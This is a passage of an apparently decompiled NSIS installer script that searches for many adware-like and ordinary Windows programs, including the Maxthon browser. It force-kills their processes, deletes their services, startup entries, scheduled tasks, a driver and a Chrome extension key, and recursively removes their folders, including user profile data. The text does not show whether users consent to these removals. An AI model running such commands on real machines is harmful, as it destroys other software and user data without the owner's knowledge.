; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
DeleteRegKey HKLM SYSTEM\ControlSet001\services\CashBackService
RMDir /r /REBOOTOK $PROGRAMFILES\CABA
label_1016:
IfFileExists $PROGRAMFILES\DiskPower\DiskPower.exe 0 label_1024
nsExec::Exec "cmd /k taskkill /IM $\"WMI DiskPower.exe$\" /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM $\"WMI DiskPower.exe$\" /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
DeleteRegValue HKLM SOFTWARE\Microsoft\Windows\CurrentVersion\Run DiskPower
RMDir /r /REBOOTOK $PROGRAMFILES\DiskPower
label_1024:
IfFileExists "$PROGRAMFILES\WMIprovider\WMI Providers.exe" 0 label_1032
nsExec::Exec "cmd /k taskkill /IM WMI Providers.exe /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM WMI Providers.exe /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
DeleteRegValue HKCU SOFTWARE\Microsoft\Windows\CurrentVersion\Run WMIproviders
RMDir /r /REBOOTOK $PROGRAMFILES\WMIprovider
label_1032:
IfFileExists "$DESKTOP\Èãðàòü Panzar.lnk" 0 label_1034
Delete "$DESKTOP\Èãðàòü Panzar.lnk"
label_1034:
IfFileExists "$DESKTOP\Èãðàòü â World Of Warships.lnk" 0 label_1036
Delete "$DESKTOP\Èãðàòü â World Of Warships.lnk"
label_1036:
IfFileExists "$APPDATA\User Pinned\TaskBar\Driver Booster 3.lnk" 0 label_1038
Delete /REBOOTOK "$APPDATA\User Pinned\TaskBar\Driver Booster 3.lnk"
label_1038:
IfFileExists $APPDATA\Rutube\launcher.exe 0 label_1051
nsExec::Exec "cmd /k taskkill /IM launcher.exe /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM launcher.exe /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
nsExec::Exec "cmd /k taskkill /IM stub.exe /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM stub.exe /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
DeleteRegValue HKCU SOFTWARE\Microsoft\Windows\CurrentVersion\Run Rutube
RMDir /r /REBOOTOK $APPDATA\Rutube
label_1051:
IfFileExists "$PROGRAMFILES\PC Clean Plus\PCCleanPlus.exe" 0 label_1073
nsExec::Exec "cmd /k taskkill /IM PCCleanPlus.exe /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM PCCleanPlus.exe /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
nsExec::ExecToStack "schtasks /delete /tn $\"PC Clean Plus$\" /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "schtasks /delete /tn $\"PC Clean Plus$\" /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll ExecToStack
nsExec::ExecToStack "schtasks /delete /tn $\"PC Clean Plus_DEFAULT$\" /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "schtasks /delete /tn $\"PC Clean Plus_DEFAULT$\" /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll ExecToStack
nsExec::ExecToStack "schtasks /delete /tn $\"PC Clean Plus_UPDATES$\" /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "schtasks /delete /tn $\"PC Clean Plus_UPDATES$\" /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll ExecToStack
RMDir /r /REBOOTOK "$PROGRAMFILES\PC Clean Plus"
label_1073:
IfFileExists "$APPDATA\PC Clean Plus" 0 label_1075
RMDir /r /REBOOTOK "$APPDATA\PC Clean Plus"
label_1075:
IfFileExists "$APPDATA\Event Monitor\em.exe" 0 label_1087
nsExec::Exec "cmd /k taskkill /IM em.exe /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM em.exe /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
nsExec::ExecToStack "schtasks /delete /tn $\"RunAtStartup$\" /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "schtasks /delete /tn $\"RunAtStartup$\" /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll ExecToStack
RMDir /r /REBOOTOK "$APPDATA\Event Monitor"
label_1087:
IfFileExists "$PROGRAMFILES64\My Web Shield\mweshield.exe" 0 label_1117
nsExec::Exec "cmd /k taskkill /IM mweshield.exe /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM mweshield.exe /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
nsExec::Exec "cmd /k taskkill /IM mweshieldup.exe /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM mweshieldup.exe /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
DeleteRegKey HKLM SYSTEM\ControlSet001\services\mweshield
DeleteRegKey HKLM SYSTEM\ControlSet001\services\mweshieldup
RMDir /r /REBOOTOK "$PROGRAMFILES64\My Web Shield"
System::Call kernel32::Wow64EnableWow64FsRedirection(i0)
; Call Initialize_____Plugins
; File $PLUGINSDIR\System.dll
; SetDetailsPrint lastused
; Push kernel32::Wow64EnableWow64FsRedirection(i0)
; CallInstDLL $PLUGINSDIR\System.dll Call
IfFileExists $SYSDIR\drivers\mwescontroller.sys 0 label_1109
DeleteRegKey HKLM SYSTEM\ControlSet001\services\mwescontroller
Delete /REBOOTOK $SYSDIR\drivers\mwescontroller.sys
label_1109:
System::Call kernel32::Wow64EnableWow64FsRedirection(i1)
; Call Initialize_____Plugins
; File $PLUGINSDIR\System.dll
; SetDetailsPrint lastused
; Push kernel32::Wow64EnableWow64FsRedirection(i1)
; CallInstDLL $PLUGINSDIR\System.dll Call
IfFileExists $SYSDIR\drivers\mwescontroller.sys 0 label_1117
DeleteRegKey HKLM SYSTEM\ControlSet001\services\mwescontroller
Delete /REBOOTOK $SYSDIR\drivers\mwescontroller.sys
label_1117:
IfFileExists $APPDATA\NewScreenChromeShot\NewScreenChromeShot.exe 0 label_1129
nsExec::Exec "cmd /k taskkill /IM NewScreenChromeShot.exe /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM NewScreenChromeShot.exe /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
nsExec::ExecToStack "schtasks /delete /tn $\"NewScreenChromeShot$\" /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "schtasks /delete /tn $\"NewScreenChromeShot$\" /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll ExecToStack
RMDir /r /REBOOTOK $APPDATA\NewScreenChromeShot
label_1129:
IfFileExists $PROGRAMFILES\FastWeb\fastweb.exe 0 label_1137
nsExec::Exec "cmd /k taskkill /IM fastweb.exe /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM fastweb.exe /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
DeleteRegValue HKCU SOFTWARE\Microsoft\Windows\CurrentVersion\Run fastweb
RMDir /r /REBOOTOK $PROGRAMFILES\FastWeb
label_1137:
IfFileExists $PROGRAMFILES\FastCompress-Zip\Fast_Support.exe 0 label_1145
nsExec::Exec "cmd /k taskkill /IM Fast_Support.exe /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM Fast_Support.exe /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
DeleteRegKey HKLM SYSTEM\ControlSet001\services\FastCompress
RMDir /r /REBOOTOK $PROGRAMFILES\FastCompress-Zip
label_1145:
IfFileExists $PROGRAMFILES\Tv-Plug-In\Tv-Plug-In.exe 0 label_1154
nsExec::Exec "cmd /k taskkill /IM Tv-Plug-In.exe /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM Tv-Plug-In.exe /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
DeleteRegKey HKLM SYSTEM\ControlSet001\services\FastCompress
DeleteRegValue HKLM SOFTWARE\Microsoft\Windows\CurrentVersion\Run Tv-Plug-In
RMDir /r /REBOOTOK $PROGRAMFILES\Tv-Plug-In
label_1154:
IfFileExists $APPDATA\Tv-Plug-In\TvPluginUpdater.exe 0 label_1161
nsExec::Exec "cmd /k taskkill /IM TvPluginUpdater.exe /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM TvPluginUpdater.exe /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
RMDir /r /REBOOTOK $APPDATA\Tv-Plug-In
label_1161:
IfFileExists $LOCALAPPDATA\punto\punto.exe 0 label_1173
nsExec::Exec "cmd /k taskkill /IM punto.exe /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM punto.exe /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
nsExec::ExecToStack "schtasks /delete /tn $\"punto$\" /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "schtasks /delete /tn $\"punto$\" /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll ExecToStack
RMDir /r /REBOOTOK $LOCALAPPDATA\punto
label_1173:
IfFileExists $LOCALAPPDATA\kemgadeojglibflomicgnfeopkdfflnk 0 label_1175
RMDir /r /REBOOTOK $LOCALAPPDATA\kemgadeojglibflomicgnfeopkdfflnk
label_1175:
IfFileExists $APPDATA\UPUpdata 0 label_1204
nsExec::Exec "cmd /k taskkill /IM cessrs.exe /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM cessrs.exe /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
nsExec::Exec "cmd /k taskkill /IM AutoTime.exe /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM AutoTime.exe /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
nsExec::Exec "cmd /k taskkill /IM service.exe /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM service.exe /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
nsExec::Exec "cmd /k taskkill /IM MiniThunderPlatform.exe /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM MiniThunderPlatform.exe /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
nsExec::Exec "cmd /k taskkill /IM msiql.exe /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM msiql.exe /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
DeleteRegValue HKCU SOFTWARE\Microsoft\Windows\CurrentVersion\Run msiql
DeleteRegValue HKLM SOFTWARE\Microsoft\Windows\CurrentVersion\Run "cessrs.exe -start"
RMDir /r /REBOOTOK $APPDATA\UPUpdata
label_1204:
IfFileExists $APPDATA\THREADAPP.exe 0 label_1212
nsExec::Exec "cmd /k taskkill /IM THREADAPP.exe /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM THREADAPP.exe /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
DeleteRegValue HKLM SOFTWARE\Microsoft\Windows\CurrentVersion\Run EYAN
Delete /REBOOTOK $APPDATA\THREADAPP.exe
label_1212:
IfFileExists $PROGRAMFILES\GreatMaker\MaohaWiFi 0 label_1221
nsExec::Exec "cmd /k taskkill /IM MaohaWifiSvr.exe /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM MaohaWifiSvr.exe /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
DeleteRegKey HKLM SYSTEM\ControlSet001\services\MaohaWifiNetPro
DeleteRegKey HKLM SYSTEM\ControlSet001\services\MaohaWifiSvr
RMDir /r /REBOOTOK $PROGRAMFILES\GreatMaker
label_1221:
ClearErrors
EnumRegKey $0 HKLM Software\Google\Chrome\Extensions\fcgnigmofekcllgbiejhmigggmgehkip $0
IfErrors label_1225
DeleteRegKey HKLM Software\Google\Chrome\Extensions\fcgnigmofekcllgbiejhmigggmgehkip
label_1225:
IfFileExists "$DESKTOP\Google Search.lnk" 0 label_1227
Delete "$DESKTOP\Google Search.lnk"
label_1227:
IfFileExists "$DESKTOP\Get Random Viral.lnk" 0 label_1229
Delete "$DESKTOP\Get Random Viral.lnk"
label_1229:
IfFileExists $LOCALAPPDATA\Con-trans.exe 0 label_1237
nsExec::Exec "cmd /k taskkill /IM Con-trans.exe /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM Con-trans.exe /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
DeleteRegKey HKLM SYSTEM\ControlSet001\services\updfaeupaate
Delete /REBOOTOK $LOCALAPPDATA\Con-trans.exe
label_1237:
IfFileExists $PROGRAMFILES\LDSGameCenter\LDSGameCenter.exe 0 label_1246
nsExec::Exec "cmd /k taskkill /IM LDSGameCenter.exe /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM LDSGameCenter.exe /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
DeleteRegKey HKLM SYSTEM\ControlSet001\services\LDSGameCenter
DeleteRegValue HKCU SOFTWARE\Microsoft\Windows\CurrentVersion\Run LDSGameCenter
RMDir /r /REBOOTOK $PROGRAMFILES\LDSGameCenter
label_1246:
ClearErrors
ReadRegStr $0 HKCU SOFTWARE\Pritc params
IfErrors label_1265
ClearErrors
ReadRegStr $2 HKCU SOFTWARE\Microsoft\Windows\CurrentVersion\Run Pritc
IfErrors label_1265
IfFileExists $2 0 label_1265
nsExec::Exec "cmd /k taskkill /IM casrss.exe /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM casrss.exe /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
DeleteRegValue HKCU SOFTWARE\Microsoft\Windows\CurrentVersion\Run Pritc
nsExec::ExecToStack "schtasks /delete /tn $\"Pritc$\" /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "schtasks /delete /tn $\"Pritc$\" /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll ExecToStack
Delete /REBOOTOK $2
label_1265:
IfFileExists $APPDATA\RutubeExtension\RutubeExtension.exe 0 label_1277
nsExec::Exec "cmd /k taskkill /IM RutubeExtension.exe /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM RutubeExtension.exe /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
nsExec::ExecToStack "schtasks /delete /tn $\"RutubeExtension$\" /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "schtasks /delete /tn $\"RutubeExtension$\" /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll ExecToStack
RMDir /r /REBOOTOK $APPDATA\RutubeExtension
label_1277:
StrCpy $3 ""
IfFileExists $APPDATA\{*} 0 label_1301
StrCpy $0 0
StrCpy $1 ""
label_1281:
EnumRegKey $1 HKCU Software\Microsoft\Windows\CurrentVersion\Uninstall $0
StrCmp $1 "" label_1301
IntOp $0 $0 + 1
StrCpy $2 ""
ReadRegStr $2 HKCU Software\Microsoft\Windows\CurrentVersion\Uninstall\$1 DisplayName
StrCmp $2 "Update for PriceFountain" 0 label_1281
IfFileExists $APPDATA\$1 0 label_1299
nsExec::Exec "cmd /k taskkill /IM PriceFountainUpdateVerUpdate.exe /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM PriceFountainUpdateVerUpdate.exe /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
nsExec::ExecToStack "schtasks /delete /tn $\"$1$\" /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "schtasks /delete /tn $\"$1$\" /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll ExecToStack
RMDir /r /REBOOTOK $APPDATA\$1
label_1299:
DeleteRegKey HKCU Software\Microsoft\Windows\CurrentVersion\Uninstall\$1
StrCpy $3 1
label_1301:
StrCmp $3 1 0 label_1321
StrCpy $0 0
StrCpy $1 ""
StrCpy $5 ""
label_1305:
EnumRegKey $1 HKCU SOFT$5WARE $0
StrCmp $1 "" label_1321
IntOp $0 $0 + 1
StrCpy $2 ""
ReadRegStr $2 HKCU SOFTWARE\$1 IconWebsite
StrCmp $2 Ali$5express 0 label_1305
StrCpy $2 ""
ReadRegStr $2 HKCU SOFTWARE\$1 InstallDir
ClearErrors
Push $2
Push $LOCALAPPDATA
Call :label_405
Pop $3
IfErrors label_1305
IfFileExists $2 0 label_1321
RMDir /r /REBOOTOK $2
label_1321:
IfFileExists $APPDATA\YSPackage 0 label_1329
nsExec::Exec "cmd /k taskkill /IM YSPackage.exe /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM YSPackage.exe /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
DeleteRegKey HKLM SYSTEM\ControlSet001\services\serverca
RMDir /r /REBOOTOK $APPDATA\YSPackage
label_1329:
IfFileExists $APPDATA\TodoChromeList\TodoChromeList.exe 0 label_1341
nsExec::Exec "cmd /k taskkill /IM TodoChromeList.exe /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM TodoChromeList.exe /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
nsExec::ExecToStack "schtasks /delete /tn $\"TodoChromeList$\" /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "schtasks /delete /tn $\"TodoChromeList$\" /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll ExecToStack
RMDir /r /REBOOTOK $APPDATA\TodoChromeList
label_1341:
IfFileExists $PROGRAMFILES\NetSpeed\NetSpeed.exe 0 label_1353
nsExec::Exec "cmd /k taskkill /IM NetSpeed.exe /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM NetSpeed.exe /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
nsExec::ExecToStack "schtasks /delete /tn $\"NetSpeed$\" /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "schtasks /delete /tn $\"NetSpeed$\" /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll ExecToStack
RMDir /r /REBOOTOK $PROGRAMFILES\NetSpeed
label_1353:
IfFileExists "$APPDATA\User Pinned\StartMenu\Âoéòè â Èíòeðíeò.lnk" 0 label_1355
Delete /REBOOTOK "$APPDATA\User Pinned\StartMenu\Âoéòè â Èíòeðíeò.lnk"
label_1355:
IfFileExists "$APPDATA\Microsoft\Windows\Start Menu\Áîêîâàÿ ïàíåëü - Êîìåòà" 0 label_1357
RMDir /r /REBOOTOK "$APPDATA\Microsoft\Windows\Start Menu\Áîêîâàÿ ïàíåëü - Êîìåòà"
label_1357:
IfFileExists $LOCALAPPDATA\vghd\bin\vghd.exe 0 label_1364
nsExec::Exec "cmd /k taskkill /IM vghd.exe /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM vghd.exe /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
RMDir /r /REBOOTOK $LOCALAPPDATA\vghd
label_1364:
IfFileExists $SMSTARTUP\DesktopVideoPlayer.lnk 0 label_1366
Delete /REBOOTOK $SMSTARTUP\DesktopVideoPlayer.lnk
label_1366:
ClearErrors
EnumRegKey $0 HKLM "SYSTEM\ControlSet001\services\Defghi Klmnopqr Tuv" $0
IfErrors label_1382
IfFileExists $WINDIR\nmlbmw.exe 0 label_1382
nsExec::Exec "cmd /k taskkill /IM nmlbmw.exe /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM nmlbmw.exe /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
nsExec::Exec "cmd /k net stop Defghi Klmnopqr Tuv"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k net stop Defghi Klmnopqr Tuv"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
DeleteRegKey HKLM "SYSTEM\ControlSet001\services\Defghi Klmnopqr Tuv"
Delete /REBOOTOK $WINDIR\nmlbmw.exe
label_1382:
IfFileExists $DESKTOP\Yàndåõ.lnk 0 label_1384
Delete $DESKTOP\Yàndåõ.lnk
label_1384:
IfFileExists $DESKTOP\ÀliÅõðråss.lnk 0 label_1386
Delete $DESKTOP\ÀliÅõðråss.lnk
label_1386:
IfFileExists $APPDATA\lockhomepage\LockHomePage.ini 0 label_1388
RMDir /r /REBOOTOK $APPDATA\lockhomepage
label_1388:
IfFileExists $PROGRAMFILES\HPProtector\HPProtectorSrv.exe 0 label_1401
nsExec::Exec "cmd /k taskkill /IM HPProtectorSrv.exe /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM HPProtectorSrv.exe /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
nsExec::Exec "cmd /k taskkill /IM WebLauncher.exe /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM WebLauncher.exe /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
DeleteRegKey HKLM "SYSTEM\ControlSet001\services\HPProtector Service"
RMDir /r /REBOOTOK $PROGRAMFILES\HPProtector
label_1401:
IfFileExists $PROGRAMFILES\LuDaShi\ComputerZTray.exe 0 label_1426
nsExec::Exec "cmd /k taskkill /IM ComputerZTray.exe /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM ComputerZTray.exe /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
nsExec::Exec "cmd /k taskkill /IM ComputerZService.exe /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM ComputerZService.exe /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
nsExec::Exec "cmd /k taskkill /IM ModuleUpdate.exe /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM ModuleUpdate.exe /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
nsExec::Exec "cmd /k taskkill /IM TrayHelper.exe /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM TrayHelper.exe /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
DeleteRegValue HKCU SOFTWARE\Microsoft\Windows\CurrentVersion\Run ComputerZ-Tray
DeleteRegKey HKLM SYSTEM\ControlSet001\services\ComputerZ_x64
DeleteRegKey HKLM SYSTEM\ControlSet001\services\ComputerZLock
RMDir /r /REBOOTOK $PROGRAMFILES\LuDaShi
label_1426:
IfFileExists $APPDATA\Ludashi\game.json 0 label_1428
RMDir /r /REBOOTOK $APPDATA\Ludashi
label_1428:
IfFileExists $APPDATA\LDSGameAssistant\LDSGameAssistant.exe 0 label_1445
nsExec::Exec "cmd /k taskkill /IM LDSGameAssistant.exe /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM LDSGameAssistant.exe /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
nsExec::Exec "cmd /k taskkill /IM aapt.exe /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM aapt.exe /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
nsExec::ExecToStack "schtasks /delete /tn $\"LDSGameAssistant$\" /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "schtasks /delete /tn $\"LDSGameAssistant$\" /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll ExecToStack
RMDir /r /REBOOTOK $APPDATA\LDSGameAssistant
label_1445:
IfFileExists $APPDATA\gplyra\gplyra.exe 0 label_1455
nsExec::Exec "cmd /k taskkill /IM gplyra.exe /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM gplyra.exe /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
SetRegView 64
DeleteRegValue HKLM SOFTWARE\Microsoft\Windows\CurrentVersion\Run gplyra
SetRegView 32
RMDir /r /REBOOTOK $APPDATA\gplyra
label_1455:
IfFileExists $APPDATA\OKSearch\launcher.exe 0 label_1468
nsExec::Exec "cmd /k taskkill /IM launcher.exe /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM launcher.exe /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
nsExec::Exec "cmd /k taskkill /IM stub.exe /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM stub.exe /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
DeleteRegValue HKCU SOFTWARE\Microsoft\Windows\CurrentVersion\Run OKSearch
RMDir /r /REBOOTOK $APPDATA\OKSearch
label_1468:
IfFileExists $PROGRAMFILES\Maxthon\Bin\Maxthon.exe 0 label_1480
nsExec::Exec "cmd /k taskkill /IM Maxthon.exe /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM Maxthon.exe /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
nsExec::ExecToStack "schtasks /delete /tn $\"Maxthon Update$\" /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "schtasks /delete /tn $\"Maxthon Update$\" /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll ExecToStack
RMDir /r /REBOOTOK $PROGRAMFILES\Maxthon
label_1480:
IfFileExists $APPDATA\Maxthon3 0 label_1482
RMDir /r /REBOOTOK $APPDATA\Maxthon3
label_1482:
IfFileExists $LOCALAPPDATA\777*_* 0 label_1506
StrCpy $0 ""
FindFirst $0 $R1 $LOCALAPPDATA\777*_*
label_1485:
StrCmp $R1 "" label_1505
IfFileExists $LOCALAPPDATA\$R1 0 label_1503
nsExec::Exec "cmd /k taskkill /IM s_inst.exe /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM s_inst.exe /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
nsExec::Exec "cmd /k taskkill /IM url_opener.exe /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "cmd /k taskkill /IM url_opener.exe /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
nsExec::ExecToStack "schtasks /delete /tn $\"$R1$\" /f"
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsExec.dll
; SetDetailsPrint lastused
; Push "schtasks /delete /tn $\"$R1$\" /f"
; CallInstDLL $PLUGINSDIR\nsExec.dll ExecToStack
RMDir /r /REBOOTOK $LOCALAPPDATA\$R1
label_1503:
FindNext $0 $R1
Goto label_1485
label_1505:
FindClose $0
label_1506:
IfFileExists $PROGRAMFILES\Totisp\msvcr100.dll 0 label_1508
RMDir /r /REBOOTOK $PROGRAMFILES\Totisp
label_1508:
